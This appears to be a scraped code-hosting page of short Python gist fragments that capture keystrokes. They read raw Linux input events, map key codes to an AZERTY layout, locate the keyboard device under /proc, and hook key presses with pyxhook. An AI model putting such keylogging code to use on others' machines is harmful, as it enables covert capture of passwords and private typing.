This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FORMAT = 'llHHI' | |
EVENT_SIZE = struct.calcsize(FORMAT) | |
in_file = open(infile_path, "rb") | |
event = in_file.read(EVENT_SIZE) | |
typed = "" | |
while event: | |
(_, _, type, code, value) = struct.unpack(FORMAT, event) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
qwerty_map = { | |
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", | |
11: "0", 12: "-", 13: "=", 14: "[BACKSPACE]", 15: "[TAB]", 16: "a", 17: "z", | |
18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p", 26: "^", | |
27: "$", 28: "\n", 29: "[CTRL]", 30: "q", 31: "s", 32: "d", 33: "f", 34: "g", | |
35: "h", 36: "j", 37: "k", 38: "l", 39: "m", 40: "ù", 41: "*", 42: "[SHIFT]", | |
43: "<", 44: "w", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: ",", | |
51: ";", 52: ":", 53: "!", 54: "[SHIFT]", 55: "FN", 56: "ALT", 57: " ", 58: "[CAPSLOCK]", | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open("/proc/bus/input/devices") as f: | |
lines = f.readlines() | |
pattern = re.compile("Handlers|EV=") | |
handlers = list(filter(pattern.search, lines)) | |
pattern = re.compile("EV=120013") | |
for idx, elt in enumerate(handlers): | |
if pattern.search(elt): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyxhook | |
def OnKeyPress(event): | |
print (event.Key) | |
hm = pyxhook.HookManager() | |
hm.KeyDown = OnKeyPress |
NewerOlder